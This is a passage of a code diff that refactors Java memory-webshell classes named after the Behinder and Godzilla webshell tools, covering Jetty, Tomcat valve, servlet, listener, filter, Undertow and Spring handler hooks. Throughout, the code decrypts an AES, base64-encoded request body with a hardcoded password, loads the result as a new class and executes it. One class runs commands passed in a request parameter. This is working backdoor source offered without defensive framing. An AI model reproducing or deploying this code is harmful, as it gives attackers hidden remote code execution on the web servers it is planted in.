Object instance = (new BehinderJettyHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); Object instance = new BehinderJettyHandler(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length).newInstance();
instance.equals(map); instance.equals(map);
if (baseRequest != null) { if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
@@ -74,60 +74,37 @@ public class BehinderJettyHandler extends ClassLoader {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public Object unwrapResponse(Object response) { public Object unwrap(Object obj) {
Object internalResponse = response; try {
while (true) { return getFieldValue(obj, "response");
try { } catch (Throwable e) {
Object r = getFieldValue(response, "response"); return obj;
if (r == internalResponse) {
return r;
} else {
internalResponse = r;
}
} catch (Exception e) {
return internalResponse;
}
} }
} }
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception { public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
while (clazz != Object.class) { while (clazz != Object.class) {
try { try {
field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
break; field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
if (field == null) { throw new NoSuchFieldException();
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception { public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
Object decoder = base64.newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
return value;
} }
} }
@@ -38,13 +38,13 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
HttpSession session = ((HttpServletRequest) request).getSession(); HttpSession session = ((HttpServletRequest) request).getSession();
Map<String, Object> obj = new HashMap<String, Object>(3); Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request); obj.put("request", request);
obj.put("response", unwrapResponse(response)); obj.put("response", unwrap(response));
obj.put("session", session); obj.put("session", session);
session.setAttribute("u", this.pass); session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES"); Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
Object instance = (new BehinderListener(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); Object instance = new BehinderListener(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length).newInstance();
instance.equals(obj); instance.equals(obj);
} }
} catch (Throwable e) { } catch (Throwable e) {
@@ -57,64 +57,41 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception { public Object unwrap(Object obj) {
Field field = null; try {
Class<?> clazz = obj.getClass(); return getFieldValue(obj, "response");
while (clazz != Object.class) { } catch (Throwable e) {
try { return obj;
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
} }
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception { public static Object getFieldValue(Object obj, String name) throws Exception {
byte[] value = null; Class<?> clazz = obj.getClass();
Class<?> base64; while (clazz != Object.class) {
try { try {
base64 = Class.forName("java.util.Base64"); Field field = clazz.getDeclaredField(name);
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); field.setAccessible(true);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); return field.get(obj);
} catch (Exception var6) { } catch (NoSuchFieldException var5) {
base64 = Class.forName("sun.misc.BASE64Decoder"); clazz = clazz.getSuperclass();
Object decoder = base64.newInstance(); }
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
return value; throw new NoSuchFieldException();
} }
@SuppressWarnings("deprecation") @SuppressWarnings("all")
public Class<?> g(byte[] cb) { public static byte[] base64Decode(String bs) throws Exception {
return super.defineClass(cb, 0, cb.length); try {
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
}
} }
@Override @Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) { public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
} }
@SuppressWarnings("all")
public Object unwrapResponse(Object response) {
Object internalResponse = response;
while (true) {
try {
Object r = getFieldValue(response, "response");
if (r == internalResponse) {
return r;
} else {
internalResponse = r;
}
} catch (Exception e) {
return internalResponse;
}
}
}
} }
@@ -38,13 +38,13 @@ public class BehinderServlet extends ClassLoader implements Servlet {
HttpSession session = request.getSession(); HttpSession session = request.getSession();
Map<String, Object> obj = new HashMap<String, Object>(3); Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request); obj.put("request", request);
obj.put("response", unwrapResponse(response)); obj.put("response", unwrap(response));
obj.put("session", session); obj.put("session", session);
session.setAttribute("u", this.pass); session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES"); Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(req.getReader().readLine())); byte[] bytes = c.doFinal(base64Decode(req.getReader().readLine()));
Object instance = (new BehinderServlet(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); Object instance = new BehinderServlet(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length).newInstance();
instance.equals(obj); instance.equals(obj);
} }
} catch (Throwable e) { } catch (Throwable e) {
@@ -53,39 +53,37 @@ public class BehinderServlet extends ClassLoader implements Servlet {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public Object unwrapResponse(Object response) { public Object unwrap(Object obj) {
Object internalResponse = response; try {
while (true) { return getFieldValue(obj, "response");
try { } catch (Throwable e) {
Object r = getFieldValue(response, "response"); return obj;
if (r == internalResponse) {
return r;
} else {
internalResponse = r;
}
} catch (Exception e) {
return internalResponse;
}
} }
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception { public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
while (clazz != Object.class) { while (clazz != Object.class) {
try { try {
field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
break; field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
if (field == null) { throw new NoSuchFieldException();
throw new NoSuchFieldException(name); }
} else {
field.setAccessible(true); @SuppressWarnings("all")
return field.get(obj); public static byte[] base64Decode(String bs) throws Exception {
try {
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
} }
@@ -96,34 +94,10 @@ public class BehinderServlet extends ClassLoader implements Servlet {
@Override @Override
public void destroy() { public void destroy() {
}
@SuppressWarnings("all")
public Class<?> g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
}
return value;
} }
@Override @Override
public void init(ServletConfig config) throws ServletException { public void init(ServletConfig config) throws ServletException {
} }
@Override @Override
@@ -41,14 +41,14 @@ public class BehinderUndertowServletHandler extends ClassLoader {
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass); session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
Map<String, Object> map = new HashMap<String, Object>(3); Map<String, Object> map = new HashMap<String, Object>(3);
map.put("request", request); map.put("request", request);
map.put("response", unwrapResponse(response)); map.put("response", unwrap(response));
map.put("session", session); map.put("session", session);
Cipher c = Cipher.getInstance("AES"); Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(pass.getBytes(), "AES")); c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request); BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
String parameter = reader.readLine(); String parameter = reader.readLine();
byte[] bytes = c.doFinal(base64Decode(parameter)); byte[] bytes = c.doFinal(base64Decode(parameter));
Object instance = (new BehinderUndertowServletHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); Object instance = new BehinderUndertowServletHandler(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length).newInstance();
instance.equals(map); instance.equals(map);
return true; return true;
} }
@@ -59,60 +59,37 @@ public class BehinderUndertowServletHandler extends ClassLoader {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public Object unwrapResponse(Object response) { public Object unwrap(Object obj) {
Object internalResponse = response; try {
while (true) { return getFieldValue(obj, "response");
try { } catch (Throwable e) {
Object r = getFieldValue(response, "response"); return obj;
if (r == internalResponse) {
return r;
} else {
internalResponse = r;
}
} catch (Exception e) {
return internalResponse;
}
} }
} }
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception { public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
while (clazz != Object.class) { while (clazz != Object.class) {
try { try {
field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
break; field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
if (field == null) { throw new NoSuchFieldException();
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception { public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
Object decoder = base64.newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
return value;
} }
} }
@@ -38,13 +38,13 @@ public class BehinderValve extends ClassLoader implements Valve {
HttpSession session = request.getSession(); HttpSession session = request.getSession();
Map<String, Object> obj = new HashMap<String, Object>(3); Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request); obj.put("request", request);
obj.put("response", unwrapResponse(response)); obj.put("response", unwrap(response));
obj.put("session", session); obj.put("session", session);
session.setAttribute("u", pass); session.setAttribute("u", pass);
Cipher c = Cipher.getInstance("AES"); Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(pass.getBytes(), "AES")); c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
Object instance = (new BehinderValve(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); Object instance = (new BehinderValve(Thread.currentThread().getContextClassLoader())).defineClass(bytes, 0, bytes.length).newInstance();
instance.equals(obj); instance.equals(obj);
return; return;
} }
@@ -55,24 +55,38 @@ public class BehinderValve extends ClassLoader implements Valve {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception { public Object unwrap(Object obj) {
byte[] value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); return getFieldValue(obj, "response");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); } catch (Throwable e) {
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); return obj;
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
return value;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public Class g(byte[] cb) { public static Object getFieldValue(Object obj, String name) throws Exception {
return super.defineClass(cb, 0, cb.length); Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException();
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception {
try {
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
}
} }
protected Valve next; protected Valve next;
@@ -96,41 +110,4 @@ public class BehinderValve extends ClassLoader implements Valve {
@Override @Override
public void backgroundProcess() { public void backgroundProcess() {
} }
@SuppressWarnings("all")
public Object unwrapResponse(Object response) {
Object internalResponse = response;
while (true) {
try {
Object r = getFieldValue(response, "response");
if (r == internalResponse) {
return r;
} else {
internalResponse = r;
}
} catch (Exception e) {
return internalResponse;
}
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
} }
@@ -14,8 +14,8 @@ public class Command {
@Override @Override
public boolean equals(Object obj) { public boolean equals(Object obj) {
Object[] args = ((Object[]) obj); Object[] args = ((Object[]) obj);
Object request = unwrapRequest(args[0]); Object request = unwrap(args[0], "request");
Object response = unwrapResponse(args[1]); Object response = unwrap(args[1], "response");
try { try {
String param = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName)); String param = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
if (param != null) { if (param != null) {
@@ -43,56 +43,26 @@ public class Command {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public Object unwrapRequest(Object request) { public Object unwrap(Object obj, String fieldName) {
Object internalRequest = request; try {
while (true) { return getFieldValue(obj, fieldName);
try { } catch (Throwable e) {
Object r = getFieldValue(request, "request"); return obj;
if (r == internalRequest) {
return r;
} else {
internalRequest = r;
}
} catch (Exception e) {
return internalRequest;
}
}
}
@SuppressWarnings("all")
public Object unwrapResponse(Object response) {
Object internalResponse = response;
while (true) {
try {
Object r = getFieldValue(response, "response");
if (r == internalResponse) {
return r;
} else {
internalResponse = r;
}
} catch (Exception e) {
return internalResponse;
}
} }
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception { public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
while (clazz != Object.class) { while (clazz != Object.class) {
try { try {
field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
break; field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
if (field == null) { throw new NoSuchFieldException();
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
} }
} }
@@ -27,8 +27,8 @@ public class Godzilla extends ClassLoader {
@Override @Override
public boolean equals(Object obj) { public boolean equals(Object obj) {
Object[] args = ((Object[]) obj); Object[] args = ((Object[]) obj);
Object request = unwrapRequest(args[0]); Object request = unwrap(args[0], "request");
Object response = unwrapResponse(args[1]); Object response = unwrap(args[1], "response");
try { try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null && value.contains(headerValue)) { if (value != null && value.contains(headerValue)) {
@@ -38,7 +38,7 @@ public class Godzilla extends ClassLoader {
Object session = request.getClass().getMethod("getSession").invoke(request); Object session = request.getClass().getMethod("getSession").invoke(request);
Object cache = session.getClass().getMethod("getAttribute", String.class).invoke(session, key); Object cache = session.getClass().getMethod("getAttribute", String.class).invoke(session, key);
if (cache == null) { if (cache == null) {
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, (new Godzilla(Thread.currentThread().getContextClassLoader())).Q(data)); session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, (new Godzilla(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length));
} else { } else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) cache).newInstance(); Object f = ((Class<?>) cache).newInstance();
@@ -61,48 +61,31 @@ public class Godzilla extends ClassLoader {
@SuppressWarnings("all") @SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception { public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
try { try {
base64 = contextClassLoader.loadClass("java.util.Base64"); Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = contextClassLoader.loadClass("sun.misc.BASE64Encoder"); Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
Object encoder = base64.newInstance(); return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} }
return value;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception { public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
try { try {
base64 = contextClassLoader.loadClass("java.util.Base64"); Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = contextClassLoader.loadClass("sun.misc.BASE64Decoder"); Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
Object decoder = base64.newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
return value;
}
@SuppressWarnings("all")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public byte[] x(byte[] s, boolean m) throws Exception { public byte[] x(byte[] s, boolean m) throws Exception {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Class<?> cipherClass = contextClassLoader.loadClass("javax.crypto.Cipher"); Class<?> cipherClass = classLoader.loadClass("javax.crypto.Cipher");
Class<?> secretKeySpecClass = contextClassLoader.loadClass("javax.crypto.spec.SecretKeySpec"); Class<?> secretKeySpecClass = classLoader.loadClass("javax.crypto.spec.SecretKeySpec");
Constructor<?> constructor = secretKeySpecClass.getConstructor(byte[].class, String.class); Constructor<?> constructor = secretKeySpecClass.getConstructor(byte[].class, String.class);
Method initMethod = cipherClass.getMethod("init", int.class, Key.class); Method initMethod = cipherClass.getMethod("init", int.class, Key.class);
Object c = cipherClass.getMethod("getInstance", String.class).invoke(null, "AES"); Object c = cipherClass.getMethod("getInstance", String.class).invoke(null, "AES");
@@ -112,56 +95,26 @@ public class Godzilla extends ClassLoader {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public Object unwrapRequest(Object request) { public Object unwrap(Object obj, String fieldName) {
Object internalRequest = request; try {
while (true) { return getFieldValue(obj, fieldName);
try { } catch (Throwable e) {
Object r = getFieldValue(request, "request"); return obj;
if (r == internalRequest) {
return r;
} else {
internalRequest = r;
}
} catch (Exception e) {
return internalRequest;
}
}
}
@SuppressWarnings("all")
public Object unwrapResponse(Object response) {
Object internalResponse = response;
while (true) {
try {
Object r = getFieldValue(response, "response");
if (r == internalResponse) {
return r;
} else {
internalResponse = r;
}
} catch (Exception e) {
return internalResponse;
}
} }
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception { public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
while (clazz != Object.class) { while (clazz != Object.class) {
try { try {
field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
break; field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
if (field == null) { throw new NoSuchFieldException();
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
} }
} }
@@ -36,7 +36,7 @@ public class GodzillaControllerHandler extends ClassLoader implements Controller
data = this.x(data, false); data = this.x(data, false);
Object cache = session.getAttribute(key); Object cache = session.getAttribute(key);
if (cache == null) { if (cache == null) {
session.setAttribute(key, (new GodzillaControllerHandler(Thread.currentThread().getContextClassLoader())).Q(data)); session.setAttribute(key, (new GodzillaControllerHandler(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length));
} else { } else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) cache).newInstance(); Object f = ((Class<?>) cache).newInstance();
@@ -58,48 +58,29 @@ public class GodzillaControllerHandler extends ClassLoader implements Controller
@SuppressWarnings("all") @SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception { public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Encoder"); Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
Object encoder = base64.newInstance(); return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} }
return value;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception { public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
Object decoder = base64.newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
return value;
} }
@SuppressWarnings("all") public byte[] x(byte[] s, boolean m) throws Exception {
public Class<?> Q(byte[] cb) { Cipher c = Cipher.getInstance("AES");
return super.defineClass(cb, 0, cb.length); c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
} return c.doFinal(s);
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
} }
} }
@@ -97,7 +97,6 @@ public class GodzillaFilter extends ClassLoader implements Filter {
public byte[] x(byte[] s, boolean m) { public byte[] x(byte[] s, boolean m) {
try { try {
Cipher c = Cipher.getInstance("AES"); Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s); return c.doFinal(s);
@@ -40,7 +40,7 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct
byte[] data = base64Decode(map.getFirst(pass)); byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false); data = x(data, false);
if (payload == null) { if (payload == null) {
payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length); payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else { } else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.getDeclaredConstructor().newInstance(); Object f = payload.getDeclaredConstructor().newInstance();
@@ -63,43 +63,29 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct
@SuppressWarnings("all") @SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception { public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Encoder"); Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
Object encoder = base64.newInstance(); return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} }
return value;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception { public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
